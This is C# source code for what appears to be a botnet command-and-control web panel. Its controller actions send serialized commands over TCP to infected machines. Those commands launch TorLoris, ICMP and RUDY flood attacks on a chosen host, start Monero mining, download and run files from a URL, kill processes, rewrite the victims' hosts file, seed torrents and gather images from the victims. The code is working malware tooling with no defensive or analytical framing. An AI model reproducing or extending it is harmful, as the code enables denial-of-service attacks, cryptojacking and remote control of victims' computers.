public async Task <IActionResult> WebOpenCommandAsync(WebsiteModel model) { if (!ModelState.IsValid) { return(View(model)); } if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User") { return(RedirectToAction(nameof(HomeController.Index), "Home")); } var websitevariables = new WebsiteVariables { Url = model.Url, Closed = model.Closed, Hidde = model.Hidde }; var method = new BaseCommands { Method = "Execute" }; var command = new WebsiteOpenModel { newBaseCommand = method, newWebsiteModel = websitevariables }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(command).Replace(@"\", "")); return(Json(response)); }
public async Task <string> GetSpeedAsync() { try { var method = new BaseCommands { Method = "GetAttackDeatils" }; var bots = new GetBotsByStatusQuery { status = false }; var botlist = await _mediator.Send(bots); CommandResponseModel[] response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method)); float TotalDownloadSpeed = 0; float TotalUploadSpeed = 0; for (var i = 0; i < response.Length; i++) { string[] data = response[i].Message.Split('/'); TotalDownloadSpeed += float.Parse(data[0], CultureInfo.InvariantCulture.NumberFormat); TotalUploadSpeed += float.Parse(data[1], CultureInfo.InvariantCulture.NumberFormat); } return("DownloadSpeed: " + SpeedConverter(TotalDownloadSpeed) + " || UploadSpeed: " + SpeedConverter(TotalUploadSpeed)); } catch { return("Attack not running"); }; }
public async Task <IActionResult> ConfigMonero(MiningModel model) { var method = new BaseCommands { Method = "Mining" }; var Variables = new MinerVariables { Link = model.Link, Config = model.Config }; var Command = new MiningCommand { newMinerVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = false//execute online bots }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> KillProcess(int procId) { var method = new BaseCommands { Method = "KillProcess" }; var Variables = new KillProcessVariables { Id = procId }; var Command = new KillProcessCommands { newVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = false//execute online bots }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> ExecuteTorLoris(TorLorisModel model) { var method = new BaseCommands { Method = "TorLoris" }; var Variables = new TorLorisVariables { Port = model.Port, PostDATA = model.PostDATA, RandomFile = model.RandomFile }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new TorLorisCommand { newTorLorisVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> ExecuteIcmp(IcmpModel model) { var method = new BaseCommands { Method = "Icmp" }; var Variables = new IcmpVariables { Timeout = model.Timeout, Length = model.Length }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new IcmpCommand { newIcmpVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> SeedTorrent(SeedTorrentModel model) { var method = new BaseCommands { Method = "SeedTorrent" }; var Variables = new SeedTorrentVariables { path = model.Url }; var Command = new SeedTorrentCommand { newVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }
public async Task <IActionResult> SendMessageCommand(MessageModel model) { var method = new BaseCommands { Method = "Message" }; var messageVariables = new MessageVariables { Msg = model.Msg, Closed = model.Closed }; var messageCommand = new MessageCommand { newMessageVariables = messageVariables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(messageCommand).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> EditHostFile(EditHostFileModel model) { var method = new BaseCommands { Method = "EditHostFile" }; var Variables = new EditHostFileVariables { Line = model.Line }; var Command = new EditHostFileCommand { newVariables = Variables, newBaseCommand = method, }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }
public async Task <IActionResult> ExecuteRudy([FromForm] RudyModel model) { var method = new BaseCommands { Method = "Rudy" }; var Variables = new RudyVariables { Port = model.Port, PostDATA = model.PostDATA, }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new RudyCommand { newRudyVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }
public async Task <IActionResult> GetAllImg() { var method = new BaseCommands { Method = "GetAllImgJson" }; var bots = new GetBotsByStatusQuery { status = false }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method).Replace(@"\", "")); return(Json(response)); }
public async Task <IActionResult> Stream() { var bots = new GetBotsByStatusQuery { status = false //offline }; var botlist = await _mediator.Send(bots); var model = new StreamModel(); for (int i = 0; i < botlist.Length; i++) { model.NewVariables[i].Domain = botlist[i].Domain; model.NewVariables[i].Name = botlist[i].UserName; } return(View(model)); }
public async Task <IActionResult> ExecuteCommand([FromForm] ExecuteModel model) { if (!ModelState.IsValid) { return(View(model)); } if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User") { return(RedirectToAction(nameof(HomeController.Index), "Home")); } var Method = new BaseCommands { Method = "Execute" }; var ExecuteVariables = new ExecuteVariables { Url = model.Url, Name = model.Name, Proxy = model.Proxy, Run = model.Run, }; var ExecuteCommand = new ExecuteCommand { newBaseCommand = Method, newExecute = ExecuteVariables }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(ExecuteCommand).Replace(@"\", "")); return(Json(OverWriterResponse(response, botlist))); }